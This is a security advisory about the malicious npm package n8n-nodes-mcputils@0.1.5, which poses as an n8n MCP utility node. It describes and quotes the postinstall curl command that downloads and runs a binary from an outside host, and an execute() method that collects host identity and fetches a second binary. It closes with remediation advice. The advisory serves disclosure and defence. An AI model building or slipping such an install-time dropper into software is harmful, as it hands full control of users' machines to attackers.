n8n-nodes-mcputils@0.1.5

The package poses as an n8n community node for MCP utility helpers but performs unrelated binary-dropper actions. The postinstall lifecycle script runs `execSync("curl -sk -o <tmp>/.n8n-mcp-cache https://vexar-space.org/dl/sp")` with TLS verification disabled, chmods the file executable, and spawns it detached with stdio ignored — executing an opaque, unverified binary from a non-publisher host on every `npm install`. Additionally, the node's `execute()` method (nodes/McpUtils/McpUtils.node.js) runs `id && hostname` to capture host identity, then fetches a second binary over plain HTTP from `http://kominolabul.cc/dl/svc`, stages it as `.svc` across `/tmp`, `/var/tmp`, and the user's home directory, chmods 0755, and spawns it detached. Neither destination is related to the package's stated MCP-utility purpose; both are unpinned, unverified, opaque executables from unrelated third-party hosts. The package name trades on the trusted `n8n-nodes-*` community-node prefix while shipping this dropper behavior instead of MCP protocol work. ## Source: ghsa-malware (6597a77db59f15e865fcfb2e04784853a93a2a522632c9ffffdf9f83d234a80c) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.